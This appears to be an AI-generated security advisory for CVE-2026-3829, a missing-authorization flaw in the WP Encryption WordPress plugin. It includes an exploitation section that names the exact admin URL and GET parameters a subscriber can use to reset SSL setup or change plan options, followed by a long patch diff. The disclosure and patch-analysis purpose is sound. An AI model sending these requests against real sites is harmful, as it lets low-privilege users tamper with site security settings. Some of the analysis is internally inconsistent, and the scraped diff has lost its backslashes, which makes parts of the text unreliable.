Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-3829: WP Encryption – One Click SSL & Force HTTPS <= 7.8.5.10 – Missing Authorization to Authenticated (Subscriber+) SSL Setup Tampering (wp-letsencrypt-ssl)

CVE ID CVE-2026-3829
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 7.8.5.10
Patched Version 7.8.5.11
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3829:

The WP Encryption – One Click SSL & Force HTTPS plugin for WordPress contains a missing authorization vulnerability in versions up to and including 7.8.5.10. The flaw resides in the admin initialization handlers within le_admin.php and le_handlers.php. An authenticated attacker with subscriber-level access can reset the SSL setup state, force the SSL screen to appear complete, and modify plan selection options. This vulnerability carries a CVSS score of 5.4 (Medium) under CWE-862 (Missing Authorization).

Root Cause:

The root cause is the absence of capability checks on several administrative actions in the vulnerable code. In le_admin.php (line 1314-1327), the ‘restart’ GET parameter handler calls delete_option(‘wple_ssl_screen’) and redirects without verifying the user’s capabilities. Similarly, the removed ‘force_complete’ handler (lines 1328-1334) updated wple_ssl_screen to ‘success’ and set wple_backend to 1 without any authorization check. In le_handlers.php (lines 158-167), the wple_intro_pricing_handler() function processes ‘gofree’, ‘gopro’, ‘gofirewall’, and ‘gositelock’ GET parameters. The patch added a capability check only for these handlers, but critically, it removed the entire wple_wizard_generatessl() AJAX handler (lines 362-417) which had proper nonce and capability checks. The diff also shows the removal of the ‘force_complete’ block entirely, indicating it was a dangerous capability-gated path.

Exploitation:

An authenticated attacker with subscriber-level access can exploit this vulnerability by crafting direct HTTP requests to the WordPress admin area. To reset the SSL setup state, the attacker sends a GET request to /wp-admin/admin.php?page=wp_encryption&restart=1. This triggers the code at line 1316-1323 in le_admin.php, which deletes the ‘wple_ssl_screen’ option without a capability check. To force the SSL completion screen, the attacker would have used the now-removed ‘force_complete’ parameter. Additionally, the attacker can modify plan selection by accessing URLs containing ‘gofree’, ‘gopro’, ‘gofirewall’, or ‘gositelock’ parameters, which before the patch lacked capability verification. The attacker does not need a nonce or any special token; the missing capability check is the sole barrier.

Patch Analysis:

The patch introduces multiple authorization barriers. In le_admin.php, a capability check (current_user_can(‘manage_options’)) is added before the ‘restart’ handler executes, and the entire ‘force_complete’ block is removed. In le_handlers.php, the wple_intro_pricing_handler() function now checks for ‘manage_options’ before processing the ‘gofree’, ‘gopro’, ‘gofirewall’, and ‘gositelock’ parameters. The removal of the wple_wizard_generatessl() AJAX handler eliminates a code path that, while it had its own nonce check, might have been reachable under certain conditions. The patch also adds ABSPATH checks to prevent direct file access in several files (le_admin_page_wrapper.php, le_ajax.php, le-forcessl.php, le-security.php). The diff shows version comparison changes from 7.8.5.7 to 7.8.5.10 in the upgrade routine, and composer autoloader updates that are unrelated to the security fix.

Impact:

Successful exploitation allows an authenticated subscriber to tamper with the SSL setup process. This can reset the plugin’s SSL configuration, causing the site to appear as if SSL is not configured or to prematurely mark SSL as complete when it is not. The attacker can also alter the plan selection, potentially locking users into a free plan or disabling premium features. While this does not directly lead to data exposure or remote code execution, it disrupts the site’s SSL management, potentially causing mixed content warnings, broken HTTPS redirects, and loss of trust. The inability to properly manage SSL can degrade the security posture of the site, making it more susceptible to man-in-the-middle attacks or causing users to bypass security warnings.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-letsencrypt-ssl/admin/le_admin.php
+++ b/wp-letsencrypt-ssl/admin/le_admin.php
@@ -33,8 +33,8 @@
  *
  * @since 5.1.1
  */
-require_once plugin_dir_path( __DIR__ ) . 'vendor/autoload.php';
 use WPLEClientLEFunctions;
+//since php5.3.0
 require_once WPLE_DIR . 'admin/le_ajax.php';
 require_once WPLE_DIR . 'admin/le_handlers.php';
 require_once WPLE_DIR . 'classes/le-core.php';
@@ -191,7 +191,7 @@
             delete_option( 'wple_plan_choose' );
             update_option( 'wple_version', WPLE_PLUGIN_VER );
         } else {
-            if ( version_compare( get_option( 'wple_version' ), '7.8.5.7', '<=' ) ) {
+            if ( version_compare( get_option( 'wple_version' ), '7.8.5.10', '<=' ) ) {
                 delete_option( 'wple_plan_choose' );
                 update_option( 'wple_version', WPLE_PLUGIN_VER );
             }
@@ -1314,18 +1314,13 @@
         //since 5.1.0
         if ( isset( $_GET['restart'] ) ) {
             //click to restart from beginning
+            if ( !current_user_can( 'manage_options' ) ) {
+                exit( 'Unauthorized request' );
+            }
             delete_option( 'wple_ssl_screen' );
             wp_redirect( admin_url( '/admin.php?page=wp_encryption' ), 302 );
             exit;
         }
-        if ( isset( $_GET['force_complete'] ) ) {
-            //Forced SSL completion flag
-            update_option( 'wple_ssl_screen', 'success' );
-            update_option( 'wple_backend', 1 );
-            WPLE_Trait::clear_all_renewal_crons( true );
-            wp_redirect( admin_url( '/admin.php?page=wp_encryption' ), 302 );
-            exit;
-        }
         //since 4.6.0
         //ssl already renewed selection in reminder notice
         if ( isset( $_GET['wplesslrenew'] ) ) {
--- a/wp-letsencrypt-ssl/admin/le_admin_page_wrapper.php
+++ b/wp-letsencrypt-ssl/admin/le_admin_page_wrapper.php
@@ -24,6 +24,10 @@
  *   along with this program.  If not, see <https://www.gnu.org/licenses/>.
  *
  */
+if (!defined('ABSPATH')) {
+    die('Access Denied');
+}
+
 require_once WPLE_DIR . 'classes/le-trait.php';

 class WPLE_Admin_Page
--- a/wp-letsencrypt-ssl/admin/le_admin_pages.php
+++ b/wp-letsencrypt-ssl/admin/le_admin_pages.php
@@ -1810,12 +1810,13 @@
       </span>
       </span>';
         $html .= '<div class="wple-ssl-settings wple-loginsecurity" style="width: 100% !important; min-height: 300px;">
-        <div style="text-align: center; padding: 20px;"><img src="' . WPLE_URL . '/admin/assets/wple-login.png" style="max-width:250px"/></div>
+        <div style="text-align: center; padding: 20px;"><img src="' . esc_attr( WPLE_URL ) . '/admin/assets/wple-login.png" style="max-width:250px"/></div>
         <div id="wple-sec-actions">
         ' . $actions_ul . '
         </div>
         </div>';
         $html .= '</div>';
+        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Safe because all dynamic data is escaped
         echo $html;
     }

--- a/wp-letsencrypt-ssl/admin/le_ajax.php
+++ b/wp-letsencrypt-ssl/admin/le_ajax.php
@@ -1,5 +1,9 @@
 <?php

+if (!defined('ABSPATH')) {
+    die('Access Denied');
+}
+
 use WPLEClientLEFunctions;

 require_once WPLE_DIR . 'classes/le-trait.php';
--- a/wp-letsencrypt-ssl/admin/le_handlers.php
+++ b/wp-letsencrypt-ssl/admin/le_handlers.php
@@ -14,7 +14,6 @@
 class WPLE_Handler {
     public function __construct() {
         add_action( 'admin_init', [$this, 'admin_init_handlers'], 1 );
-        add_action( 'wp_ajax_wple_wizard_generatessl', [$this, 'wple_wizard_generatessl'] );
         add_action( 'wp_ajax_wple_interests_survey', [$this, 'wple_interests_survey'] );
     }

@@ -158,6 +157,11 @@
      * @return void
      */
     public function wple_intro_pricing_handler() {
+        if ( isset( $_GET['gofree'] ) || isset( $_GET['gopro'] ) || isset( $_GET['gofirewall'] ) || isset( $_GET['gositelock'] ) ) {
+            if ( !current_user_can( 'manage_options' ) ) {
+                exit( 'Unauthorized request' );
+            }
+        }
         $goplan = '';
         if ( isset( $_GET['gofree'] ) ) {
             set_transient( 'wple_plan_chosen', true, 7 * DAY_IN_SECONDS );
@@ -358,50 +362,6 @@
         }
     }

-    public function wple_wizard_generatessl() {
-        if ( !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nc'] ) ), 'wple-wizard' ) || !current_user_can( 'manage_options' ) ) {
-            echo json_encode( [
-                'success' => false,
-                'message' => 'Unauthorized request!',
-            ] );
-            exit;
-        }
-        WPLE_Trait::wple_logger(
-            "Wizard: Generating SSLn",
-            'success',
-            'a',
-            false
-        );
-        // SSL generation logic here
-        $leopts = array(
-            'email'           => get_option( 'admin_email' ),
-            'date'            => date( 'd-m-Y' ),
-            'expiry'          => '',
-            'type'            => 'single',
-            'send_usage'      => 1,
-            'include_www'     => 0,
-            'include_mail'    => 0,
-            'include_webmail' => 0,
-            'agree_gws_tos'   => 1,
-            'agree_le_tos'    => 1,
-        );
-        $currentdomain = esc_html( str_ireplace( array('http://', 'https://'), array('', ''), site_url() ) );
-        $slashpos = stripos( $currentdomain, '/' );
-        if ( false !== $slashpos ) {
-            //subdir installation
-            $currentdomain = substr( $currentdomain, 0, $slashpos );
-            $leopts['subdir'] = 1;
-            //flag domain as primary domain of subdir site
-            $leopts['domain'] = sanitize_text_field( $currentdomain );
-        }
-        update_option( 'wple_opts', $leopts );
-        WPLE_Trait::wple_cpanel_identity();
-        $leopts['wizard'] = 1;
-        //flag for wizard
-        echo new WPLE_Core($leopts);
-        exit;
-    }
-
     public function wple_interests_survey() {
         if ( !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nc'] ) ), 'wple-survey' ) || !current_user_can( 'manage_options' ) ) {
             echo 'Unauthorized request!';
--- a/wp-letsencrypt-ssl/classes/le-forcessl.php
+++ b/wp-letsencrypt-ssl/classes/le-forcessl.php
@@ -25,6 +25,10 @@
  *
  */

+if (!defined('ABSPATH')) {
+    die('Access Denied');
+}
+
 /**
  * WPLE_ForceSSL
  *
--- a/wp-letsencrypt-ssl/classes/le-security.php
+++ b/wp-letsencrypt-ssl/classes/le-security.php
@@ -24,6 +24,9 @@
  *   along with this program.  If not, see <https://www.gnu.org/licenses/>.
  *
  */
+if ( !defined( 'ABSPATH' ) ) {
+    die( 'Access Denied' );
+}
 /**
  * WPLE_Security Class
  * Handles all the security actions
--- a/wp-letsencrypt-ssl/vendor/autoload.php
+++ b/wp-letsencrypt-ssl/vendor/autoload.php
@@ -2,6 +2,21 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

 return ComposerAutoloaderInit8743cf05928ea2a577faad8d8c2c3982::getLoader();
--- a/wp-letsencrypt-ssl/vendor/composer/ClassLoader.php
+++ b/wp-letsencrypt-ssl/vendor/composer/ClassLoader.php
@@ -37,57 +37,126 @@
  *
  * @author Fabien Potencier <fabien@symfony.com>
  * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    http://www.php-fig.org/psr/psr-0/
- * @see    http://www.php-fig.org/psr/psr-4/
+ * @see    https://www.php-fig.org/psr/psr-0/
+ * @see    https://www.php-fig.org/psr/psr-4/
  */
 class ClassLoader
 {
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
+    private $vendorDir;
+
     // PSR-4
+    /**
+     * @var array<string, array<string, int>>
+     */
     private $prefixLengthsPsr4 = array();
+    /**
+     * @var array<string, list<string>>
+     */
     private $prefixDirsPsr4 = array();
+    /**
+     * @var list<string>
+     */
     private $fallbackDirsPsr4 = array();

     // PSR-0
+    /**
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
+     */
     private $prefixesPsr0 = array();
+    /**
+     * @var list<string>
+     */
     private $fallbackDirsPsr0 = array();

+    /** @var bool */
     private $useIncludePath = false;
+
+    /**
+     * @var array<string, string>
+     */
     private $classMap = array();
+
+    /** @var bool */
     private $classMapAuthoritative = false;
+
+    /**
+     * @var array<string, bool>
+     */
     private $missingClasses = array();
+
+    /** @var string|null */
     private $apcuPrefix;

+    /**
+     * @var array<string, self>
+     */
+    private static $registeredLoaders = array();
+
+    /**
+     * @param string|null $vendorDir
+     */
+    public function __construct($vendorDir = null)
+    {
+        $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
+    }
+
+    /**
+     * @return array<string, list<string>>
+     */
     public function getPrefixes()
     {
         if (!empty($this->prefixesPsr0)) {
-            return call_user_func_array('array_merge', $this->prefixesPsr0);
+            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
         }

         return array();
     }

+    /**
+     * @return array<string, list<string>>
+     */
     public function getPrefixesPsr4()
     {
         return $this->prefixDirsPsr4;
     }

+    /**
+     * @return list<string>
+     */
     public function getFallbackDirs()
     {
         return $this->fallbackDirsPsr0;
     }

+    /**
+     * @return list<string>
+     */
     public function getFallbackDirsPsr4()
     {
         return $this->fallbackDirsPsr4;
     }

+    /**
+     * @return array<string, string> Array of classname => path
+     */
     public function getClassMap()
     {
         return $this->classMap;
     }

     /**
-     * @param array $classMap Class to filename map
+     * @param array<string, string> $classMap Class to filename map
+     *
+     * @return void
      */
     public function addClassMap(array $classMap)
     {
@@ -102,22 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string       $prefix  The prefix
-     * @param array|string $paths   The PSR-0 root directories
-     * @param bool         $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
+     *
+     * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -126,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -147,25 +219,28 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string       $prefix  The prefix/namespace, with trailing '\'
-     * @param array|string $paths   The PSR-4 base directories
-     * @param bool         $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
+     *
+     * @return void
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -175,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -195,8 +270,10 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string       $prefix The prefix
-     * @param array|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
+     *
+     * @return void
      */
     public function set($prefix, $paths)
     {
@@ -211,10 +288,12 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string       $prefix The prefix/namespace, with trailing '\'
-     * @param array|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
+     *
+     * @return void
      */
     public function setPsr4($prefix, $paths)
     {
@@ -234,6 +313,8 @@
      * Turns on searching the include path for class files.
      *
      * @param bool $useIncludePath
+     *
+     * @return void
      */
     public function setUseIncludePath($useIncludePath)
     {
@@ -256,6 +337,8 @@
      * that have not been registered with the class map.
      *
      * @param bool $classMapAuthoritative
+     *
+     * @return void
      */
     public function setClassMapAuthoritative($classMapAuthoritative)
     {
@@ -276,6 +359,8 @@
      * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
      *
      * @param string|null $apcuPrefix
+     *
+     * @return void
      */
     public function setApcuPrefix($apcuPrefix)
     {
@@ -296,33 +381,55 @@
      * Registers this instance as an autoloader.
      *
      * @param bool $prepend Whether to prepend the autoloader or not
+     *
+     * @return void
      */
     public function register($prepend = false)
     {
         spl_autoload_register(array($this, 'loadClass'), true, $prepend);
+
+        if (null === $this->vendorDir) {
+            return;
+        }
+
+        if ($prepend) {
+            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
+        } else {
+            unset(self::$registeredLoaders[$this->vendorDir]);
+            self::$registeredLoaders[$this->vendorDir] = $this;
+        }
     }

     /**
      * Unregisters this instance as an autoloader.
+     *
+     * @return void
      */
     public function unregister()
     {
         spl_autoload_unregister(array($this, 'loadClass'));
+
+        if (null !== $this->vendorDir) {
+            unset(self::$registeredLoaders[$this->vendorDir]);
+        }
     }

     /**
      * Loads the given class or interface.
      *
      * @param  string    $class The name of the class
-     * @return bool|null True if loaded, null otherwise
+     * @return true|null True if loaded, null otherwise
      */
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
+
+        return null;
     }

     /**
@@ -367,6 +474,21 @@
         return $file;
     }

+    /**
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
+     *
+     * @return array<string, self>
+     */
+    public static function getRegisteredLoaders()
+    {
+        return self::$registeredLoaders;
+    }
+
+    /**
+     * @param  string       $class
+     * @param  string       $ext
+     * @return string|false
+     */
     private function findFileWithExtension($class, $ext)
     {
         // PSR-4 lookup
@@ -432,14 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/wp-letsencrypt-ssl/vendor/composer/InstalledVersions.php
+++ b/wp-letsencrypt-ssl/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -98,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -119,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,17 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                    $required = require $vendorDir.'/composer/installed.php';
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -340,12 +379,17 @@
             // only require the installed.php file if this file is loaded from its dumped location,
             // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
             if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = require __DIR__ . '/installed.php';
+                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                $required = require __DIR__ . '/installed.php';
+                self::$installed = $required;
             } else {
                 self::$installed = array();
             }
         }
-        $installed[] = self::$installed;
+
+        if (self::$installed !== array() && !$copiedLocalDir) {
+            $installed[] = self::$installed;
+        }

         return $installed;
     }
--- a/wp-letsencrypt-ssl/vendor/composer/autoload_classmap.php
+++ b/wp-letsencrypt-ssl/vendor/composer/autoload_classmap.php
@@ -2,8 +2,22 @@

 // autoload_classmap.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
+    'Composer\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
+    'WPLEClient\Exceptions\LEAccountException' => $baseDir . '/lib/Exceptions/LEAccountException.php',
+    'WPLEClient\Exceptions\LEAuthorizationException' => $baseDir . '/lib/Exceptions/LEAuthorizationException.php',
+    'WPLEClient\Exceptions\LEClientException' => $baseDir . '/lib/Exceptions/LEClientException.php',
+    'WPLEClient\Exceptions\LEConnectorException' => $baseDir . '/lib/Exceptions/LEConnectorException.php',
+    'WPLEClient\Exceptions\LEException' => $baseDir . '/lib/Exceptions/LEException.php',
+    'WPLEClient\Exceptions\LEFunctionsException' => $baseDir . '/lib/Exceptions/LEFunctionsException.php',
+    'WPLEClient\Exceptions\LEOrderException' => $baseDir . '/lib/Exceptions/LEOrderException.php',
+    'WPLEClient\LEAccount' => $baseDir . '/lib/LEAccount.php',
+    'WPLEClient\LEAuthorization' => $baseDir . '/lib/LEAuthorization.php',
+    'WPLEClient\LEClient' => $baseDir . '/lib/LEClient.php',
+    'WPLEClient\LEConnector' => $baseDir . '/lib/LEConnector.php',
+    'WPLEClient\LEFunctions' => $baseDir . '/lib/LEFunctions.php',
+    'WPLEClient\LEOrder' => $baseDir . '/lib/LEOrder.php',
 );
--- a/wp-letsencrypt-ssl/vendor/composer/autoload_namespaces.php
+++ b/wp-letsencrypt-ssl/vendor/composer/autoload_namespaces.php
@@ -2,7 +2,7 @@

 // autoload_namespaces.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
--- a/wp-letsencrypt-ssl/vendor/composer/autoload_psr4.php
+++ b/wp-letsencrypt-ssl/vendor/composer/autoload_psr4.php
@@ -2,9 +2,10 @@

 // autoload_psr4.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
+    'WPLE\' => array($baseDir . '/classes'),
     'WPLEClient\' => array($baseDir . '/lib'),
 );
--- a/wp-letsencrypt-ssl/vendor/composer/autoload_real.php
+++ b/wp-letsencrypt-ssl/vendor/composer/autoload_real.php
@@ -13,38 +13,25 @@
         }
     }

+    /**
+     * @return ComposerAutoloadClassLoader
+     */
     public static function getLoader()
     {
         if (null !== self::$loader) {
             return self::$loader;
         }

+        require __DIR__ . '/platform_check.php';
+
         spl_autoload_register(array('ComposerAutoloaderInit8743cf05928ea2a577faad8d8c2c3982', 'loadClassLoader'), true, true);
-        self::$loader = $loader = new ComposerAutoloadClassLoader();
+        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
         spl_autoload_unregister(array('ComposerAutoloaderInit8743cf05928ea2a577faad8d8c2c3982', 'loadClassLoader'));

-        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
-        if ($useStaticLoader) {
-            require_once __DIR__ . '/autoload_static.php';
-
-            call_user_func(ComposerAutoloadComposerStaticInit8743cf05928ea2a577faad8d8c2c3982::getInitializer($loader));
-        } else {
-            $map = require __DIR__ . '/autoload_namespaces.php';
-            foreach ($map as $namespace => $path) {
-                $loader->set($namespace, $path);
-            }
-
-            $map = require __DIR__ . '/autoload_psr4.php';
-            foreach ($map as $namespace => $path) {
-                $loader->setPsr4($namespace, $path);
-            }
-
-            $classMap = require __DIR__ . '/autoload_classmap.php';
-            if ($classMap) {
-                $loader->addClassMap($classMap);
-            }
-        }
+        require __DIR__ . '/autoload_static.php';
+        call_user_func(ComposerAutoloadComposerStaticInit8743cf05928ea2a577faad8d8c2c3982::getInitializer($loader));

+        $loader->setClassMapAuthoritative(true);
         $loader->register(true);

         return $loader;
--- a/wp-letsencrypt-ssl/vendor/composer/autoload_static.php
+++ b/wp-letsencrypt-ssl/vendor/composer/autoload_static.php
@@ -7,24 +7,47 @@
 class ComposerStaticInit8743cf05928ea2a577faad8d8c2c3982
 {
     public static $prefixLengthsPsr4 = array (
-        'W' =>
+        'W' =>
         array (
+            'WPLE\' => 5,
             'WPLEClient\' => 11,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'WPLEClient\' =>
+        'WPLE\' =>
+        array (
+            0 => __DIR__ . '/../..' . '/classes',
+        ),
+        'WPLEClient\' =>
         array (
             0 => __DIR__ . '/../..' . '/lib',
         ),
     );

+    public static $classMap = array (
+        'Composer\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
+        'WPLEClient\Exceptions\LEAccountException' => __DIR__ . '/../..' . '/lib/Exceptions/LEAccountException.php',
+        'WPLEClient\Exceptions\LEAuthorizationException' => __DIR__ . '/../..' . '/lib/Exceptions/LEAuthorizationException.php',
+        'WPLEClient\Exceptions\LEClientException' => __DIR__ . '/../..' . '/lib/Exceptions/LEClientException.php',
+        'WPLEClient\Exceptions\LEConnectorException' => __DIR__ . '/../..' . '/lib/Exceptions/LEConnectorException.php',
+        'WPLEClient\Exceptions\LEException' => __DIR__ . '/../..' . '/lib/Exceptions/LEException.php',
+        'WPLEClient\Exceptions\LEFunctionsException' => __DIR__ . '/../..' . '/lib/Exceptions/LEFunctionsException.php',
+        'WPLEClient\Exceptions\LEOrderException' => __DIR__ . '/../..' . '/lib/Exceptions/LEOrderException.php',
+        'WPLEClient\LEAccount' => __DIR__ . '/../..' . '/lib/LEAccount.php',
+        'WPLEClient\LEAuthorization' => __DIR__ . '/../..' . '/lib/LEAuthorization.php',
+        'WPLEClient\LEClient' => __DIR__ . '/../..' . '/lib/LEClient.php',
+        'WPLEClient\LEConnector' => __DIR__ . '/../..' . '/lib/LEConnector.php',
+        'WPLEClient\LEFunctions' => __DIR__ . '/../..' . '/lib/LEFunctions.php',
